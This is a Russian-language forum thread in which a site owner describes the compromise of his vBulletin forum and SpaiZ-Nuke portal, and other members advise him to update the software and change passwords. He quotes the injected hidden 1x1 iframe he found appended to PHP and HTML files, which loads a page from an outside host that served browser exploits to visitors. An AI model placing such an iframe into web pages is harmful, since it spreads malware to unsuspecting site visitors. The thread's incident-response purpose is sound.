В общем пал смертью храбрых на пол дня форум 3.5.0 GOLD. Заходя на него выдавалось

Не удается добавить cookies. Header уже отправлен.
Файл: /home/zazanet/domains/zaza.net.ua/public_html/forum/includes/functions.php
Строка: 4672

Попав на фтп в эту строку нашел

<iframe width="1" height="1" src="http://step57.info/traff/index2.php" style="border: 0;"></iframe>

и так почти все файлы php содержат этот код в самом низу после ?> + все index.html тоже с этим кодом.

Удалив код во всей папке forum....., ура заработал.

Но надо же закрывать дыры. Так же этот код пробрался в галерею.
При в ходе в админку писал как для модеров так и для админов

Get me out of this frame set!

Есть какие то предложения, по поводу латания дыры.

_step57.info здесь думаю есть этот сплойт.


ОФФТОП!!!!

Немного не по разделу, но со спайзом та же проблема. НО прописал себя только в однов файле (sPaiZ-Nuke v1.3.2 Lite Rus) config.php нашел


Код

<iframe width="1" height="1" src="http://step57.info/traff/index2.php" style="border: 0;"></iframe>

Сам не мог попасть в админку. После ввода пароля, показывалось что буду перемещен через три секунды, после, опять оказывался на странице ввода пароля.

Удалил эту строчку и все стало на места

У кого спайз, я сабж отписал на форуме здесь
_http://spaiz-nuke.net/forums/index.php?act=ST&f=6&t=7908

думаю стоит обратить внимание и залотать дыру, если там канечно что то придумают.

Originally Posted by Mozg

пал смертью храбрых на пол дня форум 3.5.0 GOLD.

хм... давно пора бы уже и обновить версию... =))

Originally Posted by Mozg

думаю стоит обратить внимание и залотать дыру, если там канечно что то придумают

что придумывать? уже все придумали, все дырки известные закрыли в новых версиях =))
и еще..., никаких других незнакомых файлов на фтп не обнаружил?

Originally Posted by kerk

и еще..., никаких других незнакомых файлов на фтп не обнаружил?

Чисто, левого ничего не заметил, смотрел по последним изменениям фалы, хотя у меня там их много, может что то и пропустил.

Уже удалил во всех файлах этот скрипт.
Появился глюк, при добалении быстрого ответа, он не как раньше из под низу стал добавляться, а с обнавлением экрана.

где то ты файлы JS повредил, когда удалял код, аякс у тебя перестал работать, похоже...

Originally Posted by kerk

где то ты файлы JS повредил, когда удалял код, аякс у тебя перестал работать, похоже...

Подскажи какой файл глянуть. Я сравню с оригиналом.

Сегодня опять уроды хакнули, та же борода.

замени все файлы в папке clientscript на новые
и мне кажется у тебя троян живет на фтп...

Сегодян пользователи начали жаловаться на трояна

Exploit.HTML.Objdata
Другие названия
Exploit.HTML.Objdata («Лаборатория Касперского») также известен как: Exploit-ObjectData (McAfee), Trojan Horse (Symantec), Exploit.ObjectData (Doctor Web), Exploit:HTML/Objectdata* (RAV), HTML_OBJECTEXP.A (Trend Micro), PMS/Exploit.ObjData (H+BEDV), VBS:Malware (ALWIL), HTML.Daemonize.Loader.A (SOFTWIN), Exploit.HTML.ObjectData (ClamAV), Exploit/ObjectData (Panda) Описание опубликовано 01 июн 2004
Поведение Exploit, реализация уязвимости
Технические детали

Эксплоит, часто встречающийся (на момент добавления в антивирусные базы) в спамовых письмах.

Пытается использовать уязвимости Internet Explorer, описанные в Microsoft Security Bulletin MS03-032 и Microsoft Security Bulletin MS03-040.

Обе уязвимости имеют статус критических, поскольку позволяют исполнять на машине произвольный вредоносный код при простом посещении особым образом сконструированной HTML-страницы

Нашел фот эту гифку, я не помню что бы ложил ее туда, будет позже второй админ спрошу у него



После того как я вылечил и востановил рабту форума и портала(на спайзе) было где то 3 часа ночи, в 8 утра опять произошло зарожени, повторилась вся ситуация.

Мне кажется что используется сплойт для спайза _step57.info и уже через эту дыру заражается форум и все остальные фалй php и html, ведь галерея тоже заражена.

Как думаете вожможно ли что именно через дыру в спайзе все это происходит и устранив ее(пока не знаю как) перестанет заражаться и форум.

нюкой пользоваля давным-давно, и то не спайзом...
незнаю этот движок вообще, но скорей всего так и есть, что дырка в двиге сайта, а не форума
а форум обнови до последней версии

Mozg,
1) смени все пароли
2) обнови SpaiZ-Nuke до последней версии
3) обнови воблу до последней версии
4) наслаждайся стабильной работой.

Возникла та же проблема, что и у Mozg. Пользователи жалуются на атаку троянов со страницы, при этом никакого кода в файлы не добавлено, стоит vb3.6.2 нуленная. Где происходит внедрение кода - ума не приложу :/